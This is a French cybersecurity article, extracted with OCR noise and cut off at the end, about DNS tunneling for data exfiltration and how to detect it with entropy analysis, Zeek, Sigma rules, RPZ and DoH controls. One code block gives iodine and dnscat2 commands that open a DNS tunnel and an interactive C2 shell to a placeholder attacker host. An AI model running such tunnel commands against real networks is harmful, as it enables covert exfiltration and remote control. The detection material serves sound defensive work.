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DNS Tunneling et Exfiltration 2026 : Détection et
Contre-Mesures

A RETENIR

Le DNS est rarement filtré en sortie, offrant un canal d'exfiltration quasi universel

Iodine, DNScat?2 et dnsexfil établissent des tunnels bidirectionnels traversant pare-feux

et proxies
La détection repose sur 'entropie, la longueur des sous-domaines et la fréquence des
requétes

Les Response Policy Zones (RPZ) et le DNS analytics bloquent les domaines de

tunneling

Le DNS tunneling s'impose en 2026 comme 1'une des techniques d'exfiltration les plus furtives
du paysage offensif. En encodant des données confidentielles dans des requétes et des réponses

DNS d'apparence légitime, les attaquants font transiter des gigaoctets d'informations sensibles a



travers des pare-feux et des IDS qui n'inspectent jamais la charge utile du protocole. Cette
efficacité tient a une réalité structurelle : le port 53 reste ouvert dans la quasi-totalité des réseaux
d'entreprise, car bloquer la résolution de noms reviendrait a couper Internet. Les groupes APT
comme les opérateurs de ransomware exploitent cette zone aveugle pour établir des canaux de
commande et controle persistants. Mettre en place une véritable stratégie de dns tunneling
exfiltration detection suppose donc d'analyser I'entropie des sous-domaines, le volume des

requétes et les comportements de résolution, puis d'appliquer des contre-mesures adaptées.

Contexte CERT-FR : En 2024-2025, le CERT-FR a émis plusieurs alertes sur des
campagnes d'espionnage ciblant des entreprises francaises des secteurs de la défense, de
I'énergie et de la pharmacie utilisant le DNS tunneling comme canal d'exfiltration
persistant. Les indicateurs de compromission publiés incluaient des domaines DGA

(Domain Generation Algorithm) générés par des malwares utilisant le DNS pour leur C2.

CYBERSECURITE GENERALE

DNS Tunneling 2026 : Exfiltration Furtive et Contre-Mesures
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Le protocole DNS : comprendre ce qui le rend vulnérable

Le Domain Name System (DNS) a été concu en 1983 dans un contexte de réseau de confiance
universitaire ou la sécurité n'était pas une priorité. Depuis lors, ce protocole est devenu
l'infrastructure fondamentale de l'internet — sans DINS, il est impossible de résoudre les noms de
domaines en adresses IP — mais ses fondations de sécurité restent précaires. Trois
caractéristiques du DNS le rendent idéal pour les attaquants cherchant a exfiltrer des
données : il est universellement autorisé méme dans les environnements tres restreints, le trafic
DNS est rarement inspecté en profondeur au niveau applicatif, et il peut encoder des données
dans les noms de sous-domaines, les enregistrements TXT, MX, CNAME ou NULL qui sont tous

valides et transportés par les résolveurs DNS.

Un nom de domaine peut encoder jusqu'a 63 caracteres dans un seul label (sous-domaine) et
jusqu'a 253 caracteres dans le nom complet. En encodant des données en base32 ou base64 dans
les sous-domaines, un attaquant peut théoriquement exfiltrer environ 100-150 octets par requéte
DNS. Avec un débit de 1 000 requétes par minute (passant facilement sous les radars des
systemes de détection simples basés uniquement sur le volume), un attaquant peut exfiltrer
environ 150 Mo par heure. A ce rythme, une base de données compléte de données clients d'une
PME peut étre exfiltrée en quelques heures sans déclencher aucune alerte basée sur le volume

seul, rendant la détection comportementale et statistique indispensable.

Iodine et DNScat2 : les outils de tunneling DNS open source

Iodine est I'outil de DNS tunneling le plus connu et le plus utilisé dans les missions de Red Team.
Il crée un tunnel IP complet a travers DNS, permettant de faire passer n'importe quel trafic TCP
ou UDP — y compris SSH, HTTP, ou des connexions de shell inversé — a travers des serveurs
DNS. Iodine supporte plusieurs types d'enregistrements DNS (NULL, TXT, SRV, MX,
CNAME) et s'adapte automatiquement aux restrictions réseau pour trouver le type

d'enregistrement accepté par le résolveur DNS de la cible. La configuration nécessite un



serveur autoritaire pour un domaine controlé par l'attaquant, sur lequel tourne le démon iodined

cOté serveur.

Retour terrain

J'ai accompagné la montée en maturité du SOC d'un groupe hotelier pour qui chaque
alerte SIEM déclenchait un ticket manuel. Le triage prenait 45 minutes par alerte, pour
300 alertes/jour. La mise en place d'un playbook automatisé pour les 15 types d'alertes les
plus fréquents (principalement authentifications suspectes et connexions depuis IP
étrangeres) a ramené le temps de triage moyen a 4 minutes et libéré 70 % du temps

analyste pour les incidents réels.

DNScat2, développé par Ron Bowes (auteur de nmap), est plus orienté command-and-control
que tunneling pur. Il implémente un protocole personnalisé au-dessus de DNS qui supporte des
sessions multiples, le chiffrement, et des fonctionnalités C2 avancées comme le transfert de
fichiers, 1'exécution de commandes, et 1'établissement de shells interactifs. DNScat2 est
implémenté en Ruby (coté serveur) et en C (client, compilable pour Windows/Linux/macOS), ce
qui le rend polyvalent pour les scénarios Red Team multi-plateformes. En 2026, des variantes de
DNScat2 sont intégrées dans plusieurs frameworks C2 commerciaux utilisés aussi bien par les

équipes Red Team que par les APT sophistiqués ciblant des organisations francaises.



# Mise en place d'un tunnel DNS avec Iodine
# COté serveur (domaine attaquant : tunnel.attacker.com, IP: 1.2.3.4)
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com

# COté client (depuis le réseau cible)

iodine -f -P password 1.2.3.4 tunnel.attacker.com

# Crée l'interface dns® avec IP 10.0.0.2

# Tout trafic via 10.0.0.1 passe maintenant par DNS

# Test de connexion via le tunnel
ssh user@10.0.0.1 # SSH via le tunnel DNS

# DNScat2 : shell interactif via DNS
# Serveur (coté attaquant)
ruby dnscat2.rb --dns port=53 --secret=mysecret

# Client (c6té cible - Windows)

dnscat2-client.exe --secret=mysecret tunnel.attacker.com

# Vérification du tunnel actif
dig +short TXT random.tunnel.attacker.com # Trafic chiffré
# Chaque requéte DNS transporte ~200 bytes de données C2

DNS over HTTPS (DoH) : I'évasion nouvelle génération

DNS over HTTPS (DoH) a été introduit pour améliorer la confidentialité des utilisateurs en
chiffrant les requétes DNS dans du HTTPS standard. En 2026, DoH est supporté nativement par
Chrome, Firefox, Edge, et Android 9+. Du peint de vue des attaquants, DoH représente une
opportunité d'or : les requétes DNS chiffrées dans du HTTPS sur le port 443 sont
indiscernables du trafic web normal et ne peuvent pas étre inspectées par les pare-feux réseau
traditionnels qui ne font pas de TLS inspection. Des malwares comme Godlua (2019) et plusieurs
toolkits APT plus récents utilisent DoH vers des résolveurs publics (Cloudflare 1.1.1.1, Google

8.8.8.8) pour leurs communications C2.

La contre-mesure principale contre I'abus de DoH est paradoxalement de centraliser les

résolutions DNS des postes clients vers des résolveurs DoH internes ou des proxies DNS



d'entreprise, en bloquant les acces directs aux résolveurs DoH publics sur les ports 443 vers les
IPs connues (1.1.1.1, 8.8.8.8, 9.9.9.9). Sur Windows, les politiques Group Policy et Intune
permettent de forcer un résolveur DNS spécifique. Sur Linux et macOS, systemd-resolved et les
Network Manager configurations peuvent étre centralisés via MDM. L'ANSSI recommande dans
ses guides DNS de 2024 cette centralisation des résolveurs DoH comme contre-mesure

prioritaire contre I'exfiltration DNS en milieu professionnel.

Détection statistique du DNS tunneling : entropie, longueur, fréquence

La détection du DNS tunneling ne peut pas reposer sur des signatures simples car les outils
comme lodine et DNScat2 changent constamment leurs patterns pour éviter la détection. La
détection efficace repose sur des analyses statistiques de trois métriques clés : I'entropie des
sous-domaines (les données base64/base32 ont une entropie plus élevée que les noms de
domaines légitimes), la longueur des sous-domaines (les noms légitimes dépassent rarement
20-25 caracteres vs 50-60 pour du base64), et la fréquence des requétes vers un méme

domaine racine.

L'entropie de Shannon est la métrique la plus discriminante : les noms de domaines 1égitimes
comme www.google.com OU mail.orange.fr ont une entropie de 2,5 a 3,5 bits par caractere,
tandis que les sous-domaines encodant des données binaires atteignent typiquement 4,5 a 5,5 bits
par caractere. Un calcul d'entropie en temps réel sur le flux DNS, disponible dans des outils
comme Zeek (anciennement Bro), PassiveDNS, ou les modules DNS des SIEM modernes, peut

identifier automatiquement les sous-domaines suspects avec un taux de faux positifs acceptable.



# Calcul d'entropie de Shannon en Python pour détection DNS
import math
from collections import Counter

def entropy(s):
# Calcule l'entropie de Shannon d'une chaine
p, lns = Counter(s), float(len(s))
return -sum(count/lns * math.log(count/lns, 2) for count in p.values())

def analyze_dns_query(fqdn):
# Analyse une requete DNS pour detecter le tunneling
labels = fqdn.rstrip('."').split('.")
results = []
for label in labels[:-2]: # Exclure TLD et domaine de base
e = entropy(label)
length = len(label)
suspicious = e > 4.0 or length > 40
results.append({
'label': label,
'entropy': round(e, 2),
'length': length,
'suspicious': suspicious
1)

return results

# Test avec des domaines légitimes vs tunneling

legit = "www.microsoft.com"

tunnel = "aGVsbG8gd29ybGQgdGhpcyBpcyBhIHR1c3Q.attacker.com"
dga = "kfj8djs2mznpgxc.evil.com"

print(f"Légitime: {analyze_dns_query(legit)}")
print(f"Tunnel: {analyze_dns_query(tunnel)}")

print(f"DGA: {analyze_dns_query(dga)}")

# Regle Zeek pour détection DNS tunneling (IDS réseau)

# event dns_request(c: connection, msg: dns_msg, query: string, qgtype: count, gclass:

# local labels = split_string(query, /\./);

#  for (label in labels) {

# if (|label| > 40) {

# NOTICE([$note=DNS_Long_Label, $conn=c, $msg=cat("Long DNS label:", label)]);
#

#

#

count



Response Policy Zones (RPZ) : blocage DNS proactif

Les Response Policy Zones (RPZ) sont un mécanisme d'extension du serveur DNS BIND qui
permet de redéfinir les réponses DNS pour certains domaines, agissant comme un DNS firewall.
RPZ permet de bloquer proactivement les requétes DNS vers des domaines malveillants
(C2, exfiltration, phishing) en renvoyant NXDOMAIN ou en redirigeant vers une page de
blocage, sans modifier les politiques de pare-feu réseau. Les feeds RPZ commerciaux (Infoblox,
Cisco Umbrella, Palo Alto) et publics (OSINT feeds, listes blocage communautaires) fournissent

des mises a jour en temps réel des domaines malveillants.

Pour les PME et ETI francaises, l'implémentation RPZ peut se faire sur leur serveur DNS interne
existant (BIND, Windows DNS) en ajoutant une zone de politique et en s'abonnant a un feed
RPZ. Infoblox BloxOne Threat Defense est la solution commerciale de référence, couvrant a la
fois RPZ et DNS analytics avancé. Pour les organisations a budget limité, le Pi-hole avec des
listes de blocage communautaires (StevenBlack, OISD) offre une protection RPZ basique
efficace contre la majorité des malwares et C2 connus. En 2026, les feeds RPZ basés sur la
Threat Intelligence partagée entre membres de la communauté CERT-FR (partage TLP via
MISP) permettent une réactivité de quelques minutes entre la détection d'un nouveau domaine

malveillant et son blocage DNS dans toutes les organisations membres.

Outils DNS analytics pour la détection d'exfiltration

La détection du DNS tunneling nécessite des capacités d'analyse en temps réel du flux DNS
complet, incluant toutes les requétes et réponses, pas seulement les domaines bloqués par RPZ.
Plusieurs outils permettent cette analyse dans des environnements de production. Zeek
(anciennement Bro) est I'IDS réseau open source de référence pour I'analyse DNS : son
script framework permet d'implémenter des détections comportementales complexes basées sur
I'entropie, la fréquence et la longueur des requétes, avec des exports vers Elastic ou Splunk pour
corrélation SIEM. PassiveDNS log toutes les résolutions DNS observées sur le réseau pour des

analyses forensiques apres incident.



Analyse comportementale DNS temps

Zeek (Bro) IDS réseau Open Source BSD

réel
DNS firewall . . .
Infoblox BloxOne SaaS RPZ + ML analytics + threat intel Commercial
aa
. DNS firewall . . .
Cisco Umbrella SaaS RPZ + tunneling detection + DoH proxy Commercial
aa
Pi-hole DNS sinkhole Blocage liste + logs queries Open Source GPL
BIND RPZ DNS policy Blocage domaines via feeds RPZ Open Source MPL
Elastic SIEM + SIEM Corrélation + détection ML anomalies Open Source +
DNS DNS Commercial

DNSSEC : authentification des réponses DNS

DNSSEC (DNS Security Extensions) ajoute une couche de signatures cryptographiques aux
zones DNS, permettant de vérifier que les réponses DNS n'ont pas été falsifiées ou empoisonnées
par une attaque de type DNS poisoning ou man-in-the-middle. DNSSEC ne chiffre pas les
données DNS (DoH/DoT font cela) mais garantit leur authenticité et leur intégrité via des
signatures RSA ou ECDSA vérifiables par les résolveurs. En France, I'AFNIC (gestionnaire
du .fr) supporte DNSSEC depuis 2010 et I'adoption progresse, atteignant environ 35% des

domaines .fr signés en 2026.

Pour les organisations hébergeant leur propre infrastructure DNS, le déploiement DNSSEC
protege contre les attaques de DNS cache poisoning qui pourraient rediriger les utilisateurs vers
des sites malveillants. L'implémentation nécessite la gestion de clés cryptographiques (KSK et
ZSK) avec rotation périodique, ce qui peut étre complexe a opérer. Des services DNS managés
comme Route 53 (AWS), Cloud DNS (GCP), et Azure DNS simplifient considérablement la
gestion DNSSEC en automatisant la rotation des clés et la publication des DS records dans le

registre parent. DNSSEC n'est pas une défense contre le DNS tunneling — il authentifie les
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réponses mais ne bloque pas les requétes avec des sous-domaines arbitraires — mais il est

complémentaire des autres défenses DNS pour une posture de sécurité DNS compleéte.

DGA et DNS C2 : les malwares avancés et leurs patterns

Les Domain Generation Algorithms (DGA) sont utilisés par les malwares sophistiqués pour
générer dynamiquement des milliers de domaines de contact quotidiens, rendant le blocage par
liste inutile. En 2026, des malwares comme Emotet, Trickbot, QakBot et plusieurs RATs
chinois et russes utilisent des DGA pour leur C2 via DNS, générant des domaines
apparemment aléatoires (ex: kfjsdjs2mznpgxc.ru ) basés sur une graine partagée entre le
malware et l'infrastructure C2. La contre-mesure est la détection par analyse des patterns DGA :
entropie élevée, longueur atypique, ratio consonnes/voyelles anormal, et absence

d'enregistrement dans le Passive DNS historique.

Des outils de détection DGA open source comme dgadetect et des modeles ML entrainés sur des
datasets DGA connus permettent une détection automatique des domaines générés par DGA dans
le flux DNS avec une précision supérieure a 95% et un taux de faux positifs inférieur a 1%.
L'intégration de ces détections dans Zeek ou dans les regles Sigma d'un SIEM permet d'alerter en
temps réel sur les résolutions de domaines suspects, méme pour des domaines DGA inconnus qui
ne figurent pas encore dans les listes de blocage communautaires. Cette capacité de détection
proactive versus réactive est fondamentale pour contrer les APT utilisant des DGA réguliérement

regénérés pour éviter les blocklists.

Retour terrain : 'exfiltration DNS de 8 mois dans un groupe industriel francais

En 2024, lors d'une mission de réponse a incident pour un groupe industriel francais du secteur
de I'énergie, nous avons découvert une exfiltration DNS active depuis 8 mois passée totalement

inapercue. L'attaquant (attribution probable a un APT étatique) avait installé un implant sur un



poste de développeur via un document Word malveillant regu par email. L'implant utilisait
DNScat2 avec un algorithme d'obfuscation custom pour transporter des données vers un domaine
de staging (enregistré 9 mois avant l'attaque pour paraitre légitime). Le débit était volontairement
bas : environ 200 requétes DNS par heure, mimant parfaitement le pattern de navigation web
normal. Les données exfiltrées incluaient des plans de conception de composants industriels
propriétaires, des données de recherche et développement, et une liste de clients sensibles. La
détection n'a été possible qu'aprés qu'un analyste SOC ait remarqué un léger pattern anormal
dans les logs DNS lors d'une revue manuelle hebdomadaire — un pur coup de chance. La mise
en place rétroactive d'un systéeme Zeek avec détection d'entropie aurait détecté cette exfiltration
des les premieres 24 heures. Le cofit estimé du dommage industriel et concurrentiel pour

'organisation : plusieurs dizaines de millions d'euros.

Architecture défensive DNS complete pour 2026

Une architecture défensive DNS compléte pour 2026 combine plusieurs couches
complémentaires. Au niveau réseau : forcer tout le trafic DNS a transiter par des résolveurs
internes surveillés (bloquer les acces directs aux IPs DNS externes sur UDP/TCP 53), bloquer
DoH vers les résolveurs publics sur le port 443, logger toutes les requétes DNS vers un SIEM.
Au niveau résolveur : implémenter RPZ avec un feed commercial ou OSINT, activer le rate
limiting DNS contre les attaques par amplification, et configurer la validation DNSSEC. Au
niveau SIEM : implémenter des regles Sigma de détection d'entropie, de longueur et de
fréquence anormales, intégrer les feeds DGA en temps réel, et corréler les alertes DNS avec les

logs endpoint pour identifier le processus a 1'origine des requétes suspectes.



Forcer DNS interne, bloquer DoH Pare-feu + rules iptables/

Réseau Inclus dans infra existante
externe NSG
Résol RPZ + rate limiting + DNSSEC BIND RPZ, Pi-hole, Gratuit (BIND) a 20k€/an
ésolveur
validation Infoblox (Infoblox)
IDS Analyse entropie/longueur DNS en Zeek + scripts . .
B , L Open Source (infra requise)
Réseau temps réel personnalisés
Regles Sigma DNS + corrélation Elastic SIEM, Splunk, . .
SIEM . . Variable selon solution
endpoint Sentinel
Threat ) MISP, OpenCTI, CERT-FR ) 3
Feeds IOC domaines + IPs C2 Gratuit (communauté)
Intel feeds
. . . . Gratuit (Sysmon) a 30€/poste/
Endpoint Logging DNS queries par processus Sysmon (Windows), EDR

an

Regles Sigma SIEM pour la détection DNS

Les regles Sigma permettent d'exprimer des détections DNS de facon portable entre différents
SIEM. Plusieurs regles de référence couvrent les patterns les plus courants de DNS tunneling et
d'activité C2 via DNS. La regle de détection de longues requétes DNS est la plus simple et la
plus efficace : un sous-domaine de plus de 40 caractéres est statistiquement trés suspect et mérite
investigation immédiate dans 99% des cas ou il n'est pas explicitement listé comme exception

légitime.



title: DNS Tunneling - Long Subdomain Labels
id: alb2c3d4-1234-5678-abcd-ef0123456789
status: experimental
description: Détecte des requétes DNS avec des labels de sous-domaine suspects (tunneling p
logsource:
category: dns
detection:
selection:
dns.question.name|re: '.{40,}\..{2,}\..{2,}'
filter_legit:
dns.question.name|contains:

'googletagmanager’
'cloudfront.net'

- '_dmarc.'
condition: selection and not filter_legit
level: medium
tags:
- attack.exfiltration
- attack.t1048.001
title: High Frequency DNS Queries to Same Domain
description: Trop de requétes DNS vers le méme domaine parent (possible tunneling)
detection:
aggregate:
field: dns.question.registered_domain
condition: count() > 500
timeframe: 5m
level: high
tags:
- attack.exfiltration
- attack.command_and_control

Notre avis : le DNS est le canal d'exfiltration le plus négligé en France

Lors de nos missions de pentest et de réponse a incident, le DNS reste systématiquement le
parent pauvre des analyses sécurité dans les organisations francaises. La grande majorité des
RSSI et responsables SOC que nous rencontrons ne logguent pas leurs requétes DNS en

intégralité dans leur SIEM, ne déploient pas de résolveurs surveillés, et n'ont aucune



capacité de détection d'entropie sur le flux DNS. Pourtant, c'est par ce canal que passent les
exfiltrations les plus longues et les plus dévastatrices, notamment celles menées par des APT
patient qui peuvent exfiltrer des données pendant des mois sans étre détectés. L'investissement
pour corriger cette lacune est modeste — un serveur Zeek sur un mirroring de port du switch
core, quelques regles SIEM et un BIND RPZ avec un feed OSINT — mais l'impact sur la

capacité de détection est considérable.

Pi-hole en entreprise : déploiement et limites

Pi-hole, initialement concu pour bloquer les publicités sur les réseaux domestiques, peut étre
déployé en entreprise comme résolveur DNS interne avec filtrage RPZ basique. Pour une PME
de moins de 200 utilisateurs, un Pi-hole avec les listes de blocage StevenBlack, OISD, et les
feeds MISP de la communauté CERT-FR offre une protection DNS significative pour un
coiit quasi nul. La gestion de Pi-hole reste cependant manuelle — les faux positifs nécessitent
I'ajout d'exceptions manuelles — et les capacités d'analyse statistique sont limitées comparées a

des solutions comme Infoblox ou Cisco Umbrella.

Pour les ETI et grandes PME (200-2000 utilisateurs), Pi-hole peut servir de solution transitoire
pendant la mise en place d'une solution DNS sécurité plus compléte, ou comme complément
low-cost aux outils existants pour les segments réseau secondaires (invités, IoT). Les alternatives
open source plus robustes incluent Bind RPZ avec des feeds automatisés via un script Python
interrogeant les APIs MISP et les feeds OSINT DNS disponibles publiquement. Pour les
organisations NIS 2 soumises a des exigences de journalisation, Pi-hole avec export de logs vers

un SIEM via syslog répond aux obligations de tragabilité a moindre cofit.



Threat Intelligence DNS : partage communautaire et MISP

La défense DNS la plus efficace est collective : les domaines malveillants observés par une
organisation doivent étre partagés rapidement avec la communauté pour que toutes les autres
organisations puissent les bloquer avant d'étre affectées. La plateforme MISP (Malware
Information Sharing Platform), opérée notamment par le CERT.eu et plusieurs CERTSs
nationaux dont le CERT-FR, permet ce partage en temps réel des IoC DNS (domaines C2,
domaines DGA, domaines de phishing) entre membres de la communauté selon des niveaux de

confidentialité TLP (Traffic Light Protocol).

En France, les organisations membres du réseau CERT-FR bénéficient d'un partage proactif des
IoC DNS observés dans les incidents traités par le CERT-FR, avec un délai moyen de partage de
2 a 4 heures apres détection. Pour rejoindre ces flux de partage, les organisations doivent
s'inscrire aupres de I'ANSSI et signer un accord de partage d'informations. Le ROI est immédiat :
les membres du réseau de partage ont en moyenne un MTTD (Mean Time to Detect) sur les
nouvelles campagnes DNS réduit de 72h a moins de 6h grace aux IoC communautaires.
OpenCTI, l'alternative francaise a MISP développée avec le support de I'ANSSI, offre des
fonctionnalités supplémentaires de corrélation et de visualisation des campagnes d'attaque,
facilitant la contextualisation des IoC DNS dans un tableau de bord threat intelligence complet

pour les équipes SOC.

Architecture DNS sécurisée anti-tunneling 2026

Clients (DNS forcé vers résolveurs internes, DoH externe bloqué)
Résolveur Interne Surveillé (BIND + RPZ + Rate Limiting + DNSSEC)
Zeek IDS — Analyse Entropie/Longueur — Alertes SIEM temps réel

RPZ Feeds (CERT-FR MISP + OSINT + Commercial) — Blocage proactif

SIEM : Régles Sigma DNS + Corrélation Endpoint + DGA Detection ML




Articles connexes

DNS Tunneling : guide de détection SOC

Exfiltration furtive DNS/DoH : analyse technique

Attagues DNS : tunneling, hijacking et poisoning

IA et détection de menaces : SIEM augmenté

Ressources et références officielles DNS

La référence technique sur le DNS tunneling est le papier SANS Institute sur la détection DNS

qui couvre les méthodes de détection statistiques. L'ANSSI maintient une liste d'ToC DNS

disponible via le CERT-FR pour les membres du réseau de partage. L'IETF RFC 8484
documente le standard DNS over HTTPS et ses implications sécurité. Les travaux du groupe de
recherche MAAWG (Messaging, Malware and Mobile Anti-Abuse Working Group) sur les DNS
abuse techniques restent des références académiques valides pour comprendre les patterns

d'attaque DNS en 2026.
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https://www.sans.org/white-papers/networking/
https://www.cert.ssi.gouv.fr/ioc/

Questions fréquentes sur le DNS tunneling

Comment détecter si mon réseau est actuellement victime d'exfiltration DNS ?

Commencez par activer le logging DNS complet sur votre résolveur (tous les DNS queries
et responses, avec timestamps et IPs source) et ingérez ces logs dans votre SIEM ou dans
un outil d'analyse. Cherchez des sous-domaines anormalement longs (plus de 40
caracteres), des domaines interrogés a fréquence anormalement élevée (plus de 100 fois
par heure vers un méme domaine de base), et des sous-domaines avec une entropie élevée
(caracteres apparemment aléatoires). Un script Python simple de calcul d'entropie de

Shannon sur les 1 000 derniéeres requétes DNS suffit pour un premier diagnostic.

Le blocage de DNS external (sauf le résolveur interne) est-il suffisant pour prévenir le DNS

tunneling ?

C'est une mesure nécessaire mais pas suffisante. Si un attaquant compromet votre
résolveur interne ou utilise votre résolveur interne comme proxy (ce qu'lodine fait
naturellement — les requétes transitent par votre résolveur vers le serveur autoritaire de
l'attaquant), il peut toujours exfiltrer des données via DNS. La défense compléte nécessite
également une inspection du contenu des requétes DNS (entropie, longueur) et un RPZ

bloquant les domaines de staging de l'attaquant basé sur des feeds de Threat Intelligence.



DNSSEC protege-t-il contre le DNS tunneling ?

Non, DNSSEC protege contre la falsification des réponses DNS (cache poisoning, man-
in-the-middle sur les réponses) mais ne filtre pas les requétes. Un attaquant utilisant un
domaine sous son controle peut 1égitimement signer ses enregistrements DNS avec
DNSSEC tout en utilisant ces mémes enregistrements pour tunneliser des données.
DNSSEC et la défense anti-tunneling sont complémentaires mais adressent des menaces

différentes.

Comment configurer Zeek pour détecter le DNS tunneling sans faux positifs excessifs ?

Commencez en mode monitoring uniquement avec des seuils permissifs (entropie > 4.5,
longueur label > 50) pour établir vos baselines légitimes. Identifiez et whitelistez les
domaines légitimes avec des labels longs dans votre environnement (certains CDN,
services de tracking analytics, certificats SCT). Apres 2 semaines de tuning, réduisez
progressivement les seuils (entropie > 4.0, longueur > 40) et corrélez les alertes avec les
logs endpoint Sysmon Event ID 22 (DNS query) pour identifier le processus source. Les
faux positifs résiduels apres tuning devraient étre inférieurs a 5 par jour dans un

environnement de 500 utilisateurs.
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et rarement inspecté — le canal idéal pour les
attaquants patients cherchant a exfiltrer des données sur le long terme sans déclencher

d'alertes.



permettent des tunnels IP complets ou des sessions C2 via DNS —
implémentés dans plusieurs frameworks APT ciblant des entreprises francaises en

2024-2025.

des requétes — les signatures simples ne suffisent pas contre des outils

custom.

bloque proactivement les domaines C2 et DGA connus

avec un délai de partage de 2-4h apres détection communautaire.

est I'outil open source de référence pour I'analyse comportementale du flux

DNS en temps réel.

est la premiere action — sans logs complets,

toute détection est aveugle.

plusieurs exfiltrations DNS de longue durée (6-12 mois)

dans des secteurs critiques francais — ce risque est réel et actif en 2026.

Canaux couverts DNS : techniques avancées des APT

Au-dela des outils comme Iodine et DNScat2, les APT sophistiqués développent des
implémentations custom de DNS tunneling optimisées pour éviter les détections
comportementales. Ces implémentations custom integrent plusieurs techniques d'évasion
avancées : I'imitation des patterns de trafic DNS légitime en simulant les délais, les fréquences et
les types de requétes caractéristiques d'un navigateur web normal, 1'utilisation de sous-domaines
avec des longueurs et des entropies proches des valeurs 1égitimes via un encodage adaptatif qui
sacrifie l'efficacité pour la discrétion, la rotation de domaines C2 via des DGA synchronisés avec
le malware implanté, et I'exploitation de services DNS légitimes comme intermédiaires (Google

DNS, Cloudflare DNS) pour éviter le blocage d'IPs.

Une technique particulierement sophistiquée observée dans des campagnes APT analysées par

des équipes de threat intelligence en 2024 est le "slow leak" : I'attaquant exfiltre 50 a 100 octets



toutes les 5 a 10 minutes via des enregistrements TXT en réponse a des requétes DNS
apparemment aléatoires. A ce rythme, I'exfiltration d'un document Word de 500 Ko prend
environ 24 heures, mais le profil de trafic est quasiment indiscernable du bruit DNS normal d'un
réseau d'entreprise actif. La détection de ces "slow leaks" nécessite une corrélation temporelle
des requétes DNS sur des fenétres de plusieurs heures ou jours, une capacité que peu de SIEM
sont configurés pour offrir sans regles de corrélation spécifiques et sans stockage de I'historique
DNS complet sur des périodes suffisamment longues pour établir des baselines

comportementales significatives.

Malwares utilisant DNS pour leur C2 : panorama 2026

En 2026, plusieurs familles de malwares actifs utilisent le DNS comme canal de command-and-
control primaire ou de fallback. Emotet, apreés sa résurgence en 2023, utilise un schéma de
communication DNS multi-couches avec des domaines DGA générés quotidiennement pour
son botnet. QakBot (QBot), démantélé temporairement en 2023 et revenu en 2024, utilise des
bots compromis comme proxy DNS pour ses communications C2, rendant la géolocalisation des
infrastructures C2 réelles extrémement difficile. Plusieurs toolkits d'espionnage attribués a des
groupes APT chinois (APT41, APT10) et russes (APT28, APT29/Cozy Bear) integrent des
modules de DNS tunneling pour des opérations d'exfiltration longue durée dans des

environnements tres restreints comme des réseaux SCADA industriels partiellement air-gapped.

La connaissance de ces familles de malwares et de leurs patterns DNS spécifiques permet de
développer des regles de détection ciblées dans les STEM. Les CTI (Cyber Threat Intelligence)
providers comme Mandiant, Recorded Future, et en France Sekoia.io et ITrust publient
régulierement des analyses techniques de ces malwares incluant leurs patterns DNS
caractéristiques, que les équipes SOC peuvent directement utiliser pour enrichir leurs regles de
détection. L'alimentation automatique de ces IoC dans les systemes RPZ et les regles SIEM via
des feeds TAXII/STIX constitue une défense adaptative face a 1'évolution constante des

techniques DNS malveillantes.



DNS over TLS (DoT) et ses implications sécurité

DNS over TLS (DoT, RFC 7858) est une alternative a DoH qui chiffre les requétes DNS dans
une connexion TLS dédiée sur le port 853. Contrairement a DoH qui utilise le port 443 HTTPS
standard, DoT utilise un port dédié reconnaissable par les équipements réseau, permettant aux
entreprises de le bloquer ou de le rediriger vers leur résolveur DoT interne. Du point de vue de
la sécurité des entreprises, DoT est préférable a DoH car il est détectable et controlable par
les politiques réseau, tout en offrant le méme niveau de confidentialité des requétes DNS pour

les utilisateurs 1égitimes.

La mise en place d'un résolveur DoT interne avec BIND ou Unbound configuré avec TLS permet
d'offrir la confidentialité DNS aux utilisateurs internes tout en maintenant la visibilité complete
sur le flux DNS pour les équipes de sécurité. Contrairement a un résolveur DoH qui serait
invisible aux outils de surveillance réseau traditionnels, un résolveur DoT interne est interrogé
par tous les clients via le port 853 et ses logs peuvent étre intégrés dans le SIEM comme
n'importe quel autre résolveur. La configuration requiert un certificat TLS valide pour le
résolveur et la mise a jour des parametres DNS des clients via GPO/MDM, une opération

standard pour les équipes IT des ETI francaises disposant d'un outil MDM.

Détection comportementale avancée : ML et clustering DNS

Au-dela des regles statiques basées sur I'entropie et la longueur, des approches de machine
learning appliquées a I'analyse DNS permettent de détecter des patterns anomaux plus subtils.
Les algorithmes de clustering (K-means, DBSCAN) appliqués aux vecteurs de
caractéristiques des requétes DNS — entropie, longueur, ratio voyelles/consonnes, ratio
chiffres/lettres, n-grammes de caractéres — permettent d'identifier automatiquement des
clusters de domaines DGA ou de tunneling sans nécessiter de signatures prédéfinies, rendant

ces détections efficaces méme contre des outils custom jamais observés auparavant.

Des projets open source comme MassOnFlux et des modules ML intégrés dans Elastic Security

et Splunk Enterprise Security appliquent ces techniques de détection ML sur le flux DNS en



temps réel. L'entrainement initial nécessite un dataset de DNS légitimes et malveillants de
l'organisation, ce qui prend 2 a 4 semaines, mais les modéles résultants atteignent des précisions
de détection supérieures a 97% avec des taux de faux positifs inférieurs a 0,5% apres tuning.
Pour les SOC sans expertise ML interne, des services MSSP proposent ces capacités de détection
DNS ML en mode Saa$S, avec des SLA de détection et d'alerting adaptés aux besoins des ETI

francaises.

Remeédiation post-incident DNS tunneling : que faire apres détection

Quand un tunnel DNS actif est détecté dans un réseau d'entreprise, les étapes de remédiation
doivent étre menées rapidement et séquentiellement pour limiter 'exfiltration en cours et
collecter suffisamment de preuves pour l'investigation forensique. La premiére action est de
bloquer immeédiatement le domaine C2 de 1'attaquant via RPZ sur le résolveur DNS,
coupant la communication avec l'infrastructure de 1'attaquant. Simultanément, isoler le ou les
postes compromis (network isolation via VLAN de quarantaine) sans les éteindre — l'analyse en

mémoire (volatility, winpmem) peut révéler le malware et ses clés de chiffrement.

L'analyse forensique des logs DNS historiques est cruciale pour déterminer la durée de
I'exfiltration, le volume total de données exfiltrées, et les domaines C2 utilisés. Ces informations
permettent d'évaluer I'impact réel de I'incident et d'informer la notification obligatoire a la CNIL
sous 72h si des données personnelles ont été exposées (article 33 du RGPD). Pour les
organisations NIS 2, la notification a I'ANSSI via le formulaire en ligne est également obligatoire
dans les 24 heures pour les incidents significatifs, avec un rapport complet dans les 72 heures. La
préservation de 'ensemble des logs DNS (résolveur, Zeek captures, EDR) est essentielle pour la
procédure judiciaire si 1'organisation envisage un dépot de plainte aupres de I'ANSSI et des

services de police spécialisés (C3N de la Gendarmerie ou OCLCTIC de la Police).

Il convient également de mettre a jour tous les systemes de détection avec les IoC (Indicators of
